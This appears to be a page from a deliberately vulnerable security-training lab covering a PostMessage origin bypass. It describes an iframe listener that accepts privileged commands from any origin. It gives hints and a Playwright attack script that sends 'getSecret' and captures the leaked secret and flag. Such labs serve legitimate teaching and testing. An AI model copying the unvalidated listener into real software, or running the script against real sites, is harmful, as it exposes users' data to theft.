Apache/2.4.49 (Unix) PHP/7.4.3 OpenSSL/1.1.1k  |  Server: HackTarget-Lab/1.0  |  X-Powered-By: PHP/7.4.3

PostMessage Origin Bypass Lab

⚠ FOR SECURITY TESTING PURPOSES ONLY — DO NOT DEPLOY IN PRODUCTION
~/hacktarget/postmessage

PostMessage

PostMessage Origin Bypass
[HIGH]

The embedded frame listens to window.postMessage without validating event.origin. Any page can send privileged commands — getSecret, elevate, exfil — and receive sensitive data back.

> Show hints
  • [1] The frame checks no origin — send from any page with targetOrigin='*'
  • [2] Playwright: page.frames() to get the child frame, then frame.evaluate to postMessage
  • [3] Or: open attacker page in one tab, embed target in iframe, postMessage across
  • [4] Listen for the response with page.on('console') or inject a listener before sending

[1] Target Frame

The vulnerable listener runs inside this iframe. It accepts any message from any origin.

[2] Send Messages

Send arbitrary postMessage payloads to the frame. Responses are captured in the log below.

targetOrigin

[3] Message Log

[no messages yet]

[4] Playwright Attack Script

// Navigate to the lab page (attacker context)
await page.goto('/labs/postmessage');

// Get the vulnerable child frame
const frame = page.frame({ url: /postmessage-target/ });

// Inject a listener in the PARENT to capture the response
await page.evaluate(() => {
  window.__captured = [];
  window.addEventListener('message', (e) => window.__captured.push(e.data));
});

// Send the privileged command — no origin check, any origin accepted
await frame.evaluate(() => {
  window.postMessage({ action: 'getSecret' }, '*');
});

await page.waitForTimeout(500);
const leaked = await page.evaluate(() => window.__captured);
console.log(leaked); // -> { secret: '...', flag: 'FLAG{...}' }
HackTarget // Security Lab Environment© 2026 — For authorized security testing only